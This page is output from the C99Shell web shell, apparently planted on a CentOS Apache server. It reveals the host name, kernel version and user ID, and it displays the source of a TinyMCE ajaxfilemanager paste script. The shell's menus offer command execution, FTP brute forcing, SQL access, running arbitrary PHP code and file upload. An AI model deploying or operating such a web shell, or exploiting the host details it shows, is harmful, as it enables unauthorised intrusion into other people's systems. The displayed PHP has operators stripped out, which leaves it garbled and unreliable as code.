!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/lib/tinymce/plugins/ajaxfilemanager/   drwxr-xr-x
Free 9.29 GB of 93.48 GB (9.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ajax_file_paste.php (3.91 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
        
include_once(dirname(__FILE__) . DIRECTORY_SEPARATOR "inc" DIRECTORY_SEPARATOR "config.php");        
        
$error '';
        
$fileMoved = array();
        
$unmovedDocDueToSamePath = array();
    if(
CONFIG_SYS_VIEW_ONLY || (!CONFIG_OPTIONS_CUT && !CONFIG_OPTIONS_COPY))
    {
        
$error SYS_DISABLED;
    }
    elseif(empty(
$_GET['current_folder_path']))
        {
            
$error ERR_NOT_DEST_FOLDER_SPECIFIED;
        }elseif(!
file_exists($_GET['current_folder_path']) || !is_dir($_GET['current_folder_path']))
        {
            
$error ERR_DEST_FOLDER_NOT_FOUND;
        }elseif(!
isUnderRoot($_GET['current_folder_path']))
        {
            
$error ERR_DEST_FOLDER_NOT_ALLOWED;
        }else 
        {
            
            include_once(
CLASS_MANAGER);
            include_once(
CLASS_SESSION_ACTION);
            
$sessionAction = new SessionAction();
            include_once(
DIR_AJAX_INC "class.manager.php");    
            
$manager = new manager();
            
$manager->setSessionAction($sessionAction);
            
$selectedDocuments $sessionAction->get();
            
            
$destFolderPath addTrailingSlash(backslashToSlash($_GET['current_folder_path']));
            
            
            if(
sizeof($selectedDocuments))
            {
                
//get all files within the destination folder
                
$allDocs = array();
                if((
$fh = @opendir($_GET['current_folder_path'])))
                {
                    while((
$file readdir($fh)) && $file != '.' && $file != '..')
                    {
                        
$allDocs[] = getRealPath($destFolderPath $file);
                    }
                }

                include_once(
CLASS_FILE);
                
$file = new file();
                
//check if all files are allowed to cut or copy

                
foreach($selectedDocuments as $doc)
                {
                    if(
file_exists($doc) && isUnderRoot($doc) )
                    {
                        
                        if( 
array_search(getRealPath($doc), $allDocs) === false || CONFIG_OVERWRITTEN)
                        {
                            if(
CONFIG_OVERWRITTEN)
                            {
                                
$file->delete($doc);
                            }
                            if(
$file->copyTo($doc$_GET['current_folder_path']))
                            {
                                
                                
$finalPath $destFolderPath basename($doc);
                                
$objFile = new file($finalPath);
                                
$tem $objFile->getFileInfo();
                                
$obj = new manager($finalPathfalse);            
                                                    
                                
$fileType $obj->getFileType($finalPath, (is_dir($finalPath)?true:false));
                                
                                foreach(
$fileType as $k=>$v)
                                {
                                    
$tem[$k] = $v;
                                }
                                
/*                                foreach ($folderInfo as $k=>$v)
                                {
                                    $tem['i_' . $k] = $v;
                                }
                                if($folderInfo['type'] == 'folder' && empty($folderInfo['subdir']) &&  empty($folderInfo['file']))
                                {
                                    $tem['cssClass'] = 'folderEmpty';
                                }*/
                                
                                
$tem['final_path'] = $finalPath;
                                
$tem['path'] = backslashToSlash($finalPath);        
                                
$tem['type'] = (is_dir($finalPath)?'folder':'file');
                                
$tem['size'] = @transformFileSize($tem['size']);
                                
$tem['ctime'] = date(DATE_TIME_FORMAT$tem['ctime']);
                                
$tem['mtime'] = date(DATE_TIME_FORMAT$tem['mtime']);
                                
$tem['flag'] = 'noFlag';
                                
$tem['url'] = getFileUrl($doc);
        
                                
$manager null;
                                if(
$sessionAction->getAction() == "cut")
                                {
                                    
$file->delete($doc);
                                }
                                
$fileMoved[sizeof($fileMoved)] = $tem;
                                
$tem null;
                            }                            
                        }else 
                        {
                            
$unmovedDocDueToSamePath[] = $doc;
                        }
                            
                    }
                }

                
$sessionAction->set(array());
            }
            if(
sizeof($unmovedDocDueToSamePath) == sizeof($selectedDocuments))
            {
                
$error ERR_DEST_FOLDER_NOT_ALLOWED;
            }elseif(
sizeof($unmovedDocDueToSamePath)) 
            {
                foreach(
$unmovedDocDueToSamePath as $v)
                {
                    
$error .=  sprintf(ERR_UNABLE_TO_MOVE_TO_SAME_DEST$v) . "\r\n";
                }
            }
        }
        
        echo 
"{'error':'" $error "', 'unmoved_files':" sizeof($unmovedDocDueToSamePath) . ", 'files':{";
        foreach(
$fileMoved as  $i=>$file)
        {
            
            echo (
$i>0?', ':' ') . $i ": { ";
            
$j 0;
            foreach(
$file as $k=>$v)
            {
                echo (
$j++ > 0", ":'') . "'" $k "':'" $v "'"
                
            }
            echo 
"} ";
        }
        echo 
"} }";
    
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--